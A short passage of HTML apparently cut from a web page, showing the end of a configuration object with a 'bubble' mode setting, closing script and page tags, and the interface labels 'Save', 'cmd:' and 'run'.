"enable": true, "mode": "bubble" }, </script> </body> </html>
Save
cmd:
run